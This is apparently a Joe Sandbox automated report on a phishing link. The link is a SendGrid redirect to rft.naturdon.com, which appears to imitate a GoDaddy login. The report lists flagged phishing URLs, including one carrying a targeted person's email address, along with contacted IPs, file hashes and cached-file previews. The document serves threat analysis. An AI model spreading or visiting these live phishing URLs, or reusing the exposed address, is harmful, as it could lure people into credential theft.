                                                                https://rft.naturdon.com/mnNnvbueihu6r9rho0oBMMCuvwTXQG8kyViZolZYXb7n90148true
                                                                • Avira URL Cloud: phishing
                                                                		unknown
                                                                https://rft.naturdon.com/iVYo/#Dbrian.gurbach@texanacenter.comtrue
                                                                  		unknown
                                                                  https://rft.naturdon.com/op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237true
                                                                  • Avira URL Cloud: phishing
                                                                  		unknown
                                                                  https://rft.naturdon.com/GDSherpa-vf.woff2true
                                                                  • Avira URL Cloud: phishing
                                                                  		unknown

                                                                  World Map of Contacted IPs

                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs

                                                                  Public IPs

                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  172.217.18.14
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  13.33.187.14
                                                                  		d19d360lklgih4.cloudfront.netUnited States
                                                                  		16509AMAZON-02USfalse
                                                                  216.58.206.78
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  54.88.141.1
                                                                  		cp.edison.techUnited States
                                                                  		14618AMAZON-AESUSfalse
                                                                  104.21.49.96
                                                                  		rodwiy1jurevg6zwutcukkmwcadr7cqmxxcychioypf3tx55yuqbvspm9h.amayaxw.esUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  172.67.220.176
                                                                  		unknownUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  35.190.80.1
                                                                  		a.nel.cloudflare.comUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  151.101.194.137
                                                                  		code.jquery.comUnited States
                                                                  		54113FASTLYUSfalse
                                                                  172.217.18.10
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  104.16.2.189
                                                                  		unknownUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  104.21.20.250
                                                                  		rft.naturdon.comUnited States
                                                                  		13335CLOUDFLARENETUStrue
                                                                  104.17.24.14
                                                                  		cdnjs.cloudflare.comUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  142.250.186.78
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  142.250.110.84
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  104.16.3.189
                                                                  		developers.cloudflare.comUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  104.21.70.67
                                                                  		9d0wc.jnfemo.ruUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  1.1.1.1
                                                                  		unknownAustralia
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  142.250.186.163
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  172.217.18.4
                                                                  		www.google.comUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  186.209.113.142
                                                                  		registrosaraquari.com.brBrazil
                                                                  		28151DatoraTelecomunicacoesLtdaBRfalse
                                                                  140.82.121.3
                                                                  		github.comUnited States
                                                                  		36459GITHUBUSfalse
                                                                  104.18.95.41
                                                                  		challenges.cloudflare.comUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  13.33.187.96
                                                                  		unknownUnited States
                                                                  		16509AMAZON-02USfalse
                                                                  172.67.70.233
                                                                  		get.geojs.ioUnited States
                                                                  		13335CLOUDFLARENETUSfalse
                                                                  185.199.108.133
                                                                  		objects.githubusercontent.comNetherlands
                                                                  		54113FASTLYUSfalse
                                                                  142.250.72.99
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  167.89.123.53
                                                                  		u17065553.ct.sendgrid.netUnited States
                                                                  		11377SENDGRIDUSfalse
                                                                  216.58.212.163
                                                                  		unknownUnited States
                                                                  		15169GOOGLEUSfalse
                                                                  104.26.0.100
                                                                  		unknownUnited States
                                                                  		13335CLOUDFLARENETUSfalse

                                                                  Private

                                                                  IP
                                                                  192.168.2.16

                                                                  General Information

                                                                  Joe Sandbox version:42.0.0 Malachite
                                                                  Analysis ID:1640786
                                                                  Start date and time:2025-03-17 18:19:57 +01:00
                                                                  Joe Sandbox product:CloudBasic
                                                                  Overall analysis duration:
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:full
                                                                  Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                  Sample URL:https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D
                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                  Number of analysed new started processes analysed:16
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:0
                                                                  Technologies:
                                                                  • EGA enabled
                                                                  Analysis Mode:stream
                                                                  Analysis stop reason:Timeout
                                                                  Detection:MAL
                                                                  Classification:mal100.phis.evad.win@24/36@46/275

                                                                  Warnings

                                                                  • Exclude process from analysis (whitelisted): svchost.exe
                                                                  • Excluded IPs from analysis (whitelisted): 142.250.186.78, 172.217.18.14, 142.250.110.84, 142.250.72.99, 142.250.185.174, 142.250.186.174
                                                                  • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                  • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                  • VT rate limit hit for: https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D

                                                                  Created / dropped Files

                                                                  Chrome Cache Entry: 101

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):35786
                                                                  Entropy (8bit):5.058073854893359
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:38501E3FBBBD89B56AA5BA35DE1A32FE
                                                                  SHA1:D9B31981B6F834E8480BA28FBC1CFF1BE772F589
                                                                  SHA-256:A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
                                                                  SHA-512:1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/xymUqoRpqdeAef30
                                                                  Preview:#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);*/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:

                                                                  Chrome Cache Entry: 102

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:dropped
                                                                  Size (bytes):892
                                                                  Entropy (8bit):5.863167355052868
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:41D62CA205D54A78E4298367482B4E2B
                                                                  SHA1:839AAE21ED8ECFC238FDC68B93CCB27431CD5393
                                                                  SHA-256:20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
                                                                  SHA-512:82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^*1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx*.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

                                                                  Chrome Cache Entry: 104

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (10017)
                                                                  Category:downloaded
                                                                  Size (bytes):10245
                                                                  Entropy (8bit):5.437589264532084
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:6C20A2BE8BA900BC0A7118893A2B1072
                                                                  SHA1:FF7766FDE1F33882C6E1C481CEED6F6588EA764C
                                                                  SHA-256:B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
                                                                  SHA-512:8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T171918Z&X-Amz-Expires=300&X-Amz-Signature=b03bbaec5a91a18e7b4cbfa739c4126642a9771f606c5fab69bd554c936b5fe6&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
                                                                  Preview://.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

                                                                  Chrome Cache Entry: 105

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:SVG Scalable Vector Graphics image
                                                                  Category:dropped
                                                                  Size (bytes):2905
                                                                  Entropy (8bit):3.962263100945339
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:FE87496CC7A44412F7893A72099C120A
                                                                  SHA1:A0C1458C08A815DF63D3CB0406D60BE6607CA699
                                                                  SHA-256:55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
                                                                  SHA-512:E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

                                                                  Chrome Cache Entry: 106

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                                                  Category:dropped
                                                                  Size (bytes):937
                                                                  Entropy (8bit):7.737931820487441
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:FC3B7BBE7970F47579127561139060E2
                                                                  SHA1:3F7C5783FE1F4404CB16304A5A274778EA3ABD25
                                                                  SHA-256:85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
                                                                  SHA-512:49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..|...{.(...y....`.|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

                                                                  Chrome Cache Entry: 107

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
                                                                  Category:dropped
                                                                  Size (bytes):10796
                                                                  Entropy (8bit):7.946024875001343
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:12BDACC832185D0367ECC23FD24C86CE
                                                                  SHA1:4422F316EB4D8C8D160312BB695FD1D944CBFF12
                                                                  SHA-256:877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
                                                                  SHA-512:36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.....*..dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...*ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

                                                                  Chrome Cache Entry: 108

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:downloaded
                                                                  Size (bytes):592
                                                                  Entropy (8bit):4.301298432132512
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:7240DD2CE90A8584FF9411D174CBB5EA
                                                                  SHA1:F6688DE10D9B0DD85E2BBC9E98950ED52B7F4A21
                                                                  SHA-256:8A89F1D7CCA36C12063222572BAD0CD7604128F0726FA64753B26547F10A7DAD
                                                                  SHA-512:749DD8B5451031C6DDE633541A55DD2568298A9B7F5EA04559A28C26D0074BE08EC30ED85580436E05E3958F32FBA815C2E95047E1FBDE28B3C2F24065930212
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660
                                                                  Preview:RIFFH...WEBPVP8X.... ...1.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6VP8 Z...p....*2...>m6.H.".!$.....g....8..(....R._.].5.K....9z.i...;> ...+........i.%....=..b...

                                                                  Chrome Cache Entry: 109

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):128
                                                                  Entropy (8bit):4.750616928608237
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:D90F02F133E7B82AF89B3E58526AC459
                                                                  SHA1:F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
                                                                  SHA-256:FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
                                                                  SHA-512:83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCTxIkzz72lh0EgUNX1f-DRIFDRObJGMhQqi2QbSBGCwSSgnmBs66SjSX6RIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0IRj_ra8KUgO7?alt=proto
                                                                  Preview:ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==

                                                                  Chrome Cache Entry: 110

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
                                                                  Category:downloaded
                                                                  Size (bytes):43596
                                                                  Entropy (8bit):7.9952701440723475
                                                                  Encrypted:true
                                                                  SSDEEP:
                                                                  MD5:2A05E9E5572ABC320B2B7EA38A70DCC1
                                                                  SHA1:D5FA2A856D5632C2469E42436159375117EF3C35
                                                                  SHA-256:3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
                                                                  SHA-512:785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-vf.woff2
                                                                  Preview:wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3*#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P*..j..)..'.L......b..RQjI*I..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P.....*.

                                                                  Chrome Cache Entry: 111

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:downloaded
                                                                  Size (bytes):644
                                                                  Entropy (8bit):4.6279651077789685
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:541B83C2195088043337E4353B6FD60D
                                                                  SHA1:F09630596B6713217984785A64F6EA83E91B49C5
                                                                  SHA-256:2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
                                                                  SHA-512:B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130
                                                                  Preview:RIFF|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow.*...&......VP8 :...0....*....>m&.M.!"......i...O...(.........g....w...XG...

                                                                  Chrome Cache Entry: 112

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:downloaded
                                                                  Size (bytes):1298
                                                                  Entropy (8bit):6.665390877423149
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:32CA2081553E969F9FDD4374134521AD
                                                                  SHA1:7B09924C4C3D8B6E41FE38363E342DA098BE4173
                                                                  SHA-256:216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
                                                                  SHA-512:F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221
                                                                  Preview:RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R..*.X....U`..@......Yyy..<q.."b..a....K._.....jH.*...}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

                                                                  Chrome Cache Entry: 113

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
                                                                  Category:downloaded
                                                                  Size (bytes):28000
                                                                  Entropy (8bit):7.99335735457429
                                                                  Encrypted:true
                                                                  SSDEEP:
                                                                  MD5:A4BCA6C95FED0D0C5CC46CF07710DCEC
